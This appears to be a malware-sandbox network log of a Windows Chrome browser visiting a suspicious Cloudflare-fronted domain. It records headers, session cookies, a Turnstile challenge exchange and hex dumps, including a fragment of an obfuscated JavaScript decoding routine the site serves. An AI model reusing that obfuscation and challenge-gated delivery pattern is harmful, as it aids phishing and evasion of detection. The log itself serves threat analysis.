CBpr3u9XWbUsfAYP4quDxw1vRwVQWq8jr+Iirc4kCKWPgwcfKw==$AIsCkFtyI+17sHFCP4Ct8g== cf-chl-out: p0KTjQxdExlf4/lfO5ROKrW4FaVhiiQwzIkU6GYygh9jTOijdiGj9FREflViH/msp9HTNx6YDsvXWVMZkvDlCu9SX4ejsrnMxEXbYBL+IBqH9sDgvfSNHoHrtyxqYQjv$fqkgYFwWwWfWzUc2Y6jxgg== vary: accept-encoding Server: cloudflare CF-RAY: 8793feffc83d09f3-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 06:21:57 UTC	187	IN	Data Raw: 32 63 38 0d 0a 6a 62 79 31 78 4c 2b 6b 6e 33 6d 30 68 4a 65 4b 74 35 6d 70 68 36 2b 71 7a 62 79 76 6f 73 6d 76 74 62 61 4d 73 63 65 79 32 73 33 62 6e 39 72 63 35 61 36 68 75 37 37 6f 78 38 4f 71 33 62 37 69 72 75 48 43 33 4d 4f 6e 73 65 50 45 2b 4f 66 76 2f 66 50 56 7a 65 32 37 75 2f 6a 35 76 38 49 49 34 64 54 6a 31 64 66 71 36 75 58 68 32 74 45 41 35 4e 33 56 34 2b 66 5a 31 76 7a 5a 48 2b 6b 58 36 65 6b 55 34 4f 7a 6a 4a 51 67 43 41 67 44 31 41 43 41 65 2b 41 55 6a 49 75 77 7a 38 51 34 4a 4c 51 77 4e 46 53 63 66 2b 79 67 33 4f 55 4d 65 4e 79 51 68 48 6b Data Ascii: 2c8jby1xL+kn3m0hJeKt5mph6+qzbyvosmvtbaMscey2s3bn9rc5a6hu77ox8Oq3b7iruHC3MOnsePE+Ofv/fPVze27u/j5v8II4dTj1dfq6uXh2tEA5N3V4+fZ1vzZH+kX6ekU4OzjJQgCAgD1ACAe+AUjIuwz8Q4JLQwNFScf+yg3OUMeNyQhHk
2024-04-24 06:21:57 UTC	532	IN	Data Raw: 59 71 4f 77 70 49 52 30 63 47 43 69 55 64 45 56 46 4f 56 31 52 54 4a 46 51 36 53 44 4d 38 46 6b 38 63 52 42 34 67 56 57 68 64 49 69 52 65 4b 69 31 4d 57 54 68 6c 4b 55 39 6c 54 6d 70 6b 4d 31 70 45 56 33 4e 52 57 55 68 4d 57 6c 31 64 62 7a 31 46 57 59 47 48 56 33 4e 48 5a 34 35 34 6a 70 4a 52 55 6b 39 7a 68 5a 5a 77 56 6f 78 61 6e 56 56 39 58 32 36 62 6a 34 4e 2f 63 70 31 30 6f 47 46 32 5a 35 71 71 72 6f 75 51 6e 59 57 72 72 49 43 71 72 4a 43 68 70 59 4e 7a 6b 35 6d 51 6d 6f 43 32 72 62 53 5a 78 37 48 49 70 59 47 48 6c 73 53 75 77 34 33 44 72 36 37 42 77 34 79 54 77 59 2f 4e 31 61 6d 63 70 73 6e 56 74 72 79 38 32 4b 54 6d 32 4f 4b 6f 32 74 7a 65 37 75 48 6b 38 4f 75 70 76 4f 72 4d 73 65 79 34 77 38 66 4e 39 75 6a 71 30 4d 69 2f 32 50 7a 52 30 64 45 47 38 Data Ascii: YqOwpIR0cGCiUdEVFOV1RTJFQ6SDM8Fk8cRB4gVWhdIiReKi1MWThlKU9lTmpkM1pEV3NRWUhMWl1dbz1FWYGHV3NHZ454jpJRUk9zhZZwVoxanVV9X26bj4N/cp10oGF2Z5qqrouQnYWrrICqrJChpYNzk5mQmoC2rbSZx7HIpYGHlsSuw43Dr67Bw4yTwY/N1amcpsnVtry82KTm2OKo2tze7uHk8OupvOrMsey4w8fN9ujq0Mi/2PzR0dEG8
2024-04-24 06:21:57 UTC	1369	IN	Data Raw: 61 39 38 0d 0a 6b 38 4f 52 7a 36 66 4a 6c 72 54 68 6e 5a 7a 51 73 4d 36 6d 76 74 4c 57 74 4d 4c 69 31 61 79 76 71 39 36 78 38 4b 76 41 76 39 44 44 73 4d 4c 45 35 64 62 4a 74 64 6a 54 30 64 7a 51 32 4d 58 79 42 2b 62 53 34 74 66 46 79 41 41 43 79 4d 54 4a 2f 66 33 57 7a 63 34 4f 7a 41 73 4b 45 75 77 4c 47 2f 4c 71 2b 4e 6f 6d 39 4f 38 53 35 50 58 68 35 74 2f 39 43 68 6f 76 36 4f 6b 65 37 75 2f 33 4f 76 49 4a 4f 79 37 7a 2b 44 38 51 4c 41 77 7a 4f 78 6b 48 4e 52 30 72 41 55 6b 4c 44 42 34 59 4c 54 38 51 50 30 64 41 43 55 55 55 52 53 4d 78 58 6a 63 70 58 43 41 35 4c 6d 4d 35 52 7a 5a 6f 4d 55 45 38 57 7a 78 68 50 46 39 65 58 53 55 71 51 55 67 70 5a 44 42 54 53 6e 6c 49 4e 30 31 41 66 6e 78 53 4f 6c 56 5a 52 6c 46 56 66 55 5a 56 57 57 39 4e 51 6b 74 50 55 34 Data Ascii: a98k8ORz6fJlrThnZzQsM6mvtLWtMLi1ayvq96x8KvAv9DDsMLE5dbJtdjT0dzQ2MXyB+bS4tfFyAACyMTJ/f3Wzc4OzAsKEuwLG/Lq+Nom9O8S5PXh5t/9Chov6Oke7u/3OvIJOy7z+D8QLAwzOxkHNR0rAUkLDB4YLT8QP0dACUUURSMxXjcpXCA5LmM5RzZoMUE8WzxhPF9eXSUqQUgpZDBTSnlIN01AfnxSOlVZRlFVfUZVWW9NQktPU4
2024-04-24 06:21:57 UTC	1350	IN	Data Raw: 79 4e 47 73 32 39 6d 2b 6e 74 37 64 73 71 54 6b 70 72 53 38 75 39 76 6d 78 4e 61 6c 7a 63 79 79 35 73 6a 7a 7a 2f 66 76 30 4e 72 34 2b 38 75 38 74 65 6b 43 7a 66 44 43 76 64 53 39 35 77 4c 48 76 51 4c 4b 32 2f 73 49 44 38 2f 72 35 39 4c 65 30 74 58 5a 45 74 49 4b 2b 77 37 7a 44 43 45 53 38 76 45 67 46 52 6e 2b 4b 79 4d 43 39 67 6b 67 36 75 6b 69 4a 43 73 54 4b 69 6f 54 37 67 51 73 44 6a 4d 52 4d 7a 6b 4a 45 43 77 61 4f 78 59 47 48 41 4e 42 42 7a 51 44 52 41 6f 4e 54 69 35 55 54 42 4d 2f 46 46 42 57 54 6c 74 48 53 6a 64 63 4e 6c 49 32 59 56 4a 44 4a 43 51 37 4a 6d 46 71 56 53 4e 68 4c 6b 52 41 52 69 31 4b 52 47 35 79 54 6d 70 52 4e 6e 67 37 62 33 38 32 56 46 69 42 4f 6c 65 42 52 55 5a 44 58 6b 67 2b 64 6c 70 47 6a 47 74 51 6b 33 36 4e 6a 5a 47 54 6c 6d 31 Data Ascii: yNGs29m+nt7dsqTkprS8u9vmxNalzcyy5sjzz/fv0Nr4+8u8tekCzfDCvdS95wLHvQLK2/sID8/r59Le0tXZEtIK+w7zDCES8vEgFRn+KyMC9gkg6ukiJCsTKioT7gQsDjMRMzkJECwaOxYGHANBBzQDRAoNTi5UTBM/FFBWTltHSjdcNlI2YVJDJCQ7JmFqVSNhLkRARi1KRG5yTmpRNng7b382VFiBOleBRUZDXkg+dlpGjGtQk36NjZGTlm1
2024-04-24 06:21:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49765	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:57 UTC	1408	OUT	POST /nmWPBkGJrsuMPxdA2qSyaRhvPyg HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive Content-Length: 1290 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCoMw0BwAFfUzECkU Accept: / Origin: https://o5u7g.zleu9.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://o5u7g.zleu9.com/O5u7Gw/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik1QbXczbDBidTJSYllEUGlPdno0WFE9PSIsInZhbHVlIjoiM3UvMXFqNEFCNnhtRVBrc3EwK3loVW43UjVwNnNMVHV4dEhZQVNIbEpoU3ZZaUdRYzVpd0o2ZS9pVEpaQ2FXOFd5cWd5bVdpTzUrNHdZZXRheFNsLzlqNjBsdG0ydk5za3YxVVFDcUsyVk1DVGFDcXhQenJyZlhPMlQwS2RWeEciLCJtYWMiOiIxZDJmMDZjOWE3NTM1OWE2MDc1M2IxZTdiMDA1YzI0NzliMzNjNDNjN2JjOGI1NzVlZDMyNTZjNzFmNDk3MjljIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkVyMVc1c0hVdTBmVGl5TkZNZnBiQXc9PSIsInZhbHVlIjoiRTlJZStBQXU1bVZ1SU02MTV3WWdEOHQxMFZmTllXekJxcy9Pb3BjaXBoYkt1OFlqVkIvVXRMemRjdW1ZcGQ1VGIvSEJYdjhhNUtwVlI0MENFQTdlVXI4UW5UdTVIQ1ZnKzRPTzhoSHFaZlhIeFEvZDZucTM2SU5zWXFiOGo2NVgiLCJtYWMiOiI0NjVhNjNhZjRlZDgyMmNiMzI4Yjg4NzQ3OGJhZTUyNjNiYTAwOGM5ZmZhYmZiMjU4MDg2OGQ1ZTY3OWZlZjIwIiwidGFnIjoiIn0%3D
2024-04-24 06:21:57 UTC	1290	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 43 6f 4d 77 30 42 77 41 46 66 55 7a 45 43 6b 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 0d 0a 0d 0a 30 2e 36 55 31 4d 77 4e 4b 73 5a 54 74 43 30 73 4c 51 5f 59 62 4e 52 68 2d 63 4e 64 71 6d 67 4d 36 69 52 42 49 30 7a 4e 57 48 34 4b 53 38 54 6b 38 75 37 65 52 33 4c 6a 58 4a 63 51 50 71 78 43 53 48 48 37 36 48 77 6a 53 33 6d 36 58 74 67 49 4f 75 50 50 57 76 59 73 45 35 76 55 50 71 52 36 2d 64 43 63 63 6f 75 73 72 63 78 6d 39 68 6b 31 57 4d 64 55 41 6d 70 42 48 77 37 46 73 4c 67 42 6d 79 32 6d 75 43 41 54 48 63 30 69 6e 68 5f 51 45 50 4b 5a 70 Data Ascii: ------WebKitFormBoundaryCoMw0BwAFfUzECkUContent-Disposition: form-data; name="cf-turnstile-response"0.6U1MwNKsZTtC0sLQ_YbNRh-cNdqmgM6iRBI0zNWH4KS8Tk8u7eR3LjXJcQPqxCSHH76HwjS3m6XtgIOuPPWvYsE5vUPqR6-dCccousrcxm9hk1WMdUAmpBHw7FsLgBmy2muCATHc0inh_QEPKZp
2024-04-24 06:21:58 UTC	995	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:58 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S1BYcqn2mPAuZzqLL2hrokAoSVsDWNRD6Zggoxr6j8vvF4R1o3Y8NFAsXGWNfK5Ypp4GKXSJUiqisVmOH8nYI%2BclxRV6LoZbS%2FU1Ch68Bg8T7tFn77JszMTUGd5wYw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6InFSSkdkaENkY1psTzl5ZTFmQTRwTnc9PSIsInZhbHVlIjoiT2pXTFc2K3F3QVBIK3BNenBPRUYwUTdFMWI4a0pydEZvbEZUN05VbjEwYlRJTy8rYm5aemJIYXR3UTJYc0pSU2FVRkxnU2dxZ2E0YTA2Qlc5d1Nid0pIZE5xSUFhN1k2R0pGaU0waHlwVXFzNnBrYlpKcy80dnV0K1Z4T2VOK0UiLCJtYWMiOiJjNTcyZTk4NTQyNzU2M2FiZjQ5ZmY2M2VkN2I0OWE0OWRjMTI4NGUyNGJjNWFiNjZkYWRiOGFmYWU0NmVmMzYwIiwidGFnIjoiIn0%3D; expires=Wed, 24-Apr-2024 08:21:58 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-24 06:21:58 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 68 50 59 58 46 72 51 54 56 72 4b 30 6c 76 4c 7a 5a 57 62 44 4a 69 52 55 73 30 62 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 53 32 52 34 65 6a 52 71 5a 57 64 76 56 33 6c 4f 61 45 5a 4a 4e 6a 4d 35 4c 30 68 71 62 45 6c 4a 51 6b 5a 71 64 48 52 73 52 7a 4e 42 5a 46 68 4c 55 44 46 71 4f 45 52 77 64 47 39 58 65 56 67 31 64 7a 46 45 5a 30 46 43 56 46 45 31 51 30 5a 4f 64 54 4a 47 54 57 64 78 51 58 70 77 53 32 68 30 61 79 39 7a 4d 44 56 4c 55 54 5a 59 57 47 6f 35 5a 46 49 33 51 6a 64 50 4d 6a 55 31 63 6e 4e 55 4d 6b 64 6f 52 57 4a 32 55 32 70 5a 52 46 5a 6e 56 6b 5a 58 64 33 6c 45 4c 31 56 35 65 45 78 43 52 48 46 68 55 56 56 6a 4c 33 55 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjhPYXFrQTVrK0lvLzZWbDJiRUs0bHc9PSIsInZhbHVlIjoiS2R4ejRqZWdvV3lOaEZJNjM5L0hqbElJQkZqdHRsRzNBZFhLUDFqOERwdG9XeVg1dzFEZ0FCVFE1Q0ZOdTJGTWdxQXpwS2h0ay9zMDVLUTZYWGo5ZFI3QjdPMjU1cnNUMkdoRWJ2U2pZRFZnVkZXd3lEL1V5eExCRHFhUVVjL3U
2024-04-24 06:21:58 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2024-04-24 06:21:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49766	104.17.3.184	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:57 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/862063700:1713935735:n_kDzPRHRfNhpmTiH_iizdB-6K4G1lTc2-dx7iY2jIs/8793fe7a3eb209f1/e5ab976078d7bfd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:58 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 06:21:58 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: uNyGe9bElSOLAAiXzYcVKA==$tb29fBeacbIgE2nA+SvwYQ== Server: cloudflare CF-RAY: 8793ff057fb009ff-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 06:21:58 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49767	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:58 UTC	1463	OUT	GET /O5u7Gw/ HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://o5u7g.zleu9.com/O5u7Gw/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InFSSkdkaENkY1psTzl5ZTFmQTRwTnc9PSIsInZhbHVlIjoiT2pXTFc2K3F3QVBIK3BNenBPRUYwUTdFMWI4a0pydEZvbEZUN05VbjEwYlRJTy8rYm5aemJIYXR3UTJYc0pSU2FVRkxnU2dxZ2E0YTA2Qlc5d1Nid0pIZE5xSUFhN1k2R0pGaU0waHlwVXFzNnBrYlpKcy80dnV0K1Z4T2VOK0UiLCJtYWMiOiJjNTcyZTk4NTQyNzU2M2FiZjQ5ZmY2M2VkN2I0OWE0OWRjMTI4NGUyNGJjNWFiNjZkYWRiOGFmYWU0NmVmMzYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjhPYXFrQTVrK0lvLzZWbDJiRUs0bHc9PSIsInZhbHVlIjoiS2R4ejRqZWdvV3lOaEZJNjM5L0hqbElJQkZqdHRsRzNBZFhLUDFqOERwdG9XeVg1dzFEZ0FCVFE1Q0ZOdTJGTWdxQXpwS2h0ay9zMDVLUTZYWGo5ZFI3QjdPMjU1cnNUMkdoRWJ2U2pZRFZnVkZXd3lEL1V5eExCRHFhUVVjL3UiLCJtYWMiOiI2NzZiY2ViMzgzOTliOWRmYmE3MGQ3MmZiNWZlMGVlNTNmMjIyMjQyYTFkMmY1ODRjYzBkM2YwOGRhNTQ1YjI1IiwidGFnIjoiIn0%3D
2024-04-24 06:21:59 UTC	1013	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OEasiOKuM03o32nvK%2Fdp0h1%2BoAEegd0CZp8MmuYbh90ph6Cg7aNVblplRkQGI9Hh9Tywu25g39Opg3%2FPqZ7oxidQ%2Fpsned0Ce%2FKWGa7aWlHfwFzErNFy%2BAyFqz%2B5yg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6Ik1SbnQyeVdERm9QOU82aDQyQXdid1E9PSIsInZhbHVlIjoiM0RjK0I4RVVTUzBxblpKeUIzeFUzR0RwZ1BWQ0pPRnBuMU82MERQSUhGZHY5Tk4rS1UzWG9idUh3Qk5GSVZIZ01nVkdIa1hVUEpkbWd3cEpUQXZYa1h4ZFF0QW1zWkFkWncwZklWWHZod0FFZ0tjRERqalJudHkyZ0ZKd0FBb3QiLCJtYWMiOiIyYTY5Y2EyYTMxM2VkNDZkZDc1MmVkNGI4YThjOGUzMjZlMmIyZGM0NmM2MWJlMDgxYjA2MGM2NjFhZjliZDlmIiwidGFnIjoiIn0%3D; expires=Wed, 24-Apr-2024 08:21:59 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-24 06:21:59 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 51 32 4b 33 52 69 4d 47 39 45 59 31 64 6f 53 7a 52 69 54 30 78 54 5a 6c 42 76 4f 56 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 48 56 4d 4d 57 68 35 55 30 46 47 64 46 6c 77 56 6b 5a 79 61 6e 70 6b 65 48 5a 61 52 46 55 72 62 6e 63 30 51 58 46 75 56 6c 56 4d 61 56 70 33 54 32 64 48 53 32 70 34 5a 55 68 56 4f 48 6c 6a 59 58 5a 42 4b 31 46 53 4d 47 31 43 4e 44 6c 76 4e 56 55 78 62 6a 4a 36 52 6c 46 6b 54 31 5a 56 4e 30 31 4c 53 6d 56 79 63 6e 4a 70 4d 56 6c 4a 63 6c 56 6f 4f 57 68 73 59 6c 42 31 62 6a 6c 75 52 6d 46 7a 4b 33 4a 6c 59 6e 68 77 55 45 73 79 55 30 74 36 61 58 46 47 4d 6b 4e 6f 64 43 74 48 4d 31 5a 68 56 58 52 52 4f 45 30 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlQ2K3RiMG9EY1doSzRiT0xTZlBvOVE9PSIsInZhbHVlIjoiZHVMMWh5U0FGdFlwVkZyanpkeHZaRFUrbnc0QXFuVlVMaVp3T2dHS2p4ZUhVOHljYXZBK1FSMG1CNDlvNVUxbjJ6RlFkT1ZVN01LSmVycnJpMVlJclVoOWhsYlB1bjluRmFzK3JlYnhwUEsyU0t6aXFGMkNodCtHM1ZhVXRROE0
2024-04-24 06:21:59 UTC	1369	IN	Data Raw: 37 31 34 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 4b 6b 70 59 4a 43 5a 56 70 41 28 67 64 61 77 56 65 49 78 46 69 2c 20 51 58 55 72 69 64 76 49 6c 6f 29 20 7b 0d 0a 6c 65 74 20 4c 73 4f 78 42 64 45 43 72 69 20 3d 20 27 27 3b 0d 0a 67 64 61 77 56 65 49 78 46 69 20 3d 20 61 74 6f 62 28 67 64 61 77 56 65 49 78 46 69 29 3b 0d 0a 6c 65 74 20 43 73 6b 4d 50 6e 4b 6c 79 69 20 3d 20 51 58 55 72 69 64 76 49 6c 6f 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 67 64 61 77 56 65 49 78 46 69 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 4c 73 4f 78 42 64 45 43 72 69 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 67 64 61 77 56 65 49 78 46 69 2e 63 68 61 72 43 6f Data Ascii: 714<script>function KkpYJCZVpA(gdawVeIxFi, QXUridvIlo) {let LsOxBdECri = '';gdawVeIxFi = atob(gdawVeIxFi);let CskMPnKlyi = QXUridvIlo.length;for (let i = 0; i < gdawVeIxFi.length; i++) { LsOxBdECri += String.fromCharCode(gdawVeIxFi.charCo
2024-04-24 06:21:59 UTC	450	IN	Data Raw: 48 79 59 61 46 69 51 53 44 69 67 75 47 55 6c 64 4d 47 51 2b 58 56 63 57 62 58 45 39 46 45 5a 43 43 46 34 67 65 32 73 49 53 46 67 32 45 78 56 64 49 53 70 72 53 79 64 59 4d 51 68 6b 53 69 63 77 64 42 30 62 58 45 51 52 61 51 38 47 61 78 31 66 45 78 6b 48 5a 57 41 6f 53 68 5a 39 50 47 78 56 53 78 68 70 47 68 78 6a 46 45 51 66 47 51 4a 4a 47 79 55 64 47 6d 59 4d 57 31 55 46 54 53 55 66 55 7a 42 4c 4f 30 5a 56 53 78 67 2b 47 68 51 76 4b 55 5a 49 47 51 52 62 4b 41 63 54 4a 43 67 66 44 67 63 4f 58 6d 6c 4f 57 6a 77 76 58 77 49 61 48 42 59 6c 48 42 6b 71 4d 6c 67 4a 47 30 56 49 4b 41 63 53 4a 53 64 63 41 30 35 6d 4d 6d 6c 54 57 6d 73 37 50 47 78 56 53 78 68 70 47 68 78 6a 46 45 51 66 47 51 4a 4a 47 79 55 64 47 6d 59 51 57 30 68 4c 56 6a 77 66 46 6d 49 39 50 47 78 Data Ascii: HyYaFiQSDiguGUldMGQ+XVcWbXE9FEZCCF4ge2sISFg2ExVdISprSydYMQhkSicwdB0bXEQRaQ8Gax1fExkHZWAoShZ9PGxVSxhpGhxjFEQfGQJJGyUdGmYMW1UFTSUfUzBLO0ZVSxg+GhQvKUZIGQRbKAcTJCgfDgcOXmlOWjwvXwIaHBYlHBkqMlgJG0VIKAcSJSdcA05mMmlTWms7PGxVSxhpGhxjFEQfGQJJGyUdGmYQW0hLVjwfFmI9PGx
2024-04-24 06:21:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49771	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:58 UTC	1089	OUT	GET /nmWPBkGJrsuMPxdA2qSyaRhvPyg HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InFSSkdkaENkY1psTzl5ZTFmQTRwTnc9PSIsInZhbHVlIjoiT2pXTFc2K3F3QVBIK3BNenBPRUYwUTdFMWI4a0pydEZvbEZUN05VbjEwYlRJTy8rYm5aemJIYXR3UTJYc0pSU2FVRkxnU2dxZ2E0YTA2Qlc5d1Nid0pIZE5xSUFhN1k2R0pGaU0waHlwVXFzNnBrYlpKcy80dnV0K1Z4T2VOK0UiLCJtYWMiOiJjNTcyZTk4NTQyNzU2M2FiZjQ5ZmY2M2VkN2I0OWE0OWRjMTI4NGUyNGJjNWFiNjZkYWRiOGFmYWU0NmVmMzYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjhPYXFrQTVrK0lvLzZWbDJiRUs0bHc9PSIsInZhbHVlIjoiS2R4ejRqZWdvV3lOaEZJNjM5L0hqbElJQkZqdHRsRzNBZFhLUDFqOERwdG9XeVg1dzFEZ0FCVFE1Q0ZOdTJGTWdxQXpwS2h0ay9zMDVLUTZYWGo5ZFI3QjdPMjU1cnNUMkdoRWJ2U2pZRFZnVkZXd3lEL1V5eExCRHFhUVVjL3UiLCJtYWMiOiI2NzZiY2ViMzgzOTliOWRmYmE3MGQ3MmZiNWZlMGVlNTNmMjIyMjQyYTFkMmY1ODRjYzBkM2YwOGRhNTQ1YjI1IiwidGFnIjoiIn0%3D
2024-04-24 06:21:59 UTC	575	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Apr 2024 06:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uKQRY4faD5ZCPrPtCF9RabYRz4gxRVEm0Pdalukz73MaGwgRQgka6lKzIYsO6jf52ix9rNoCRpFdJcq6r%2BFQq9LCir1EbC6JI9YDtieZ01t6L3iv1FXNjyiStYTk3A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff0d2ebf0910-LAX
2024-04-24 06:21:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49768	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:59 UTC	1419	OUT	GET /O5u7Gw/?j HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://o5u7g.zleu9.com/O5u7Gw/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 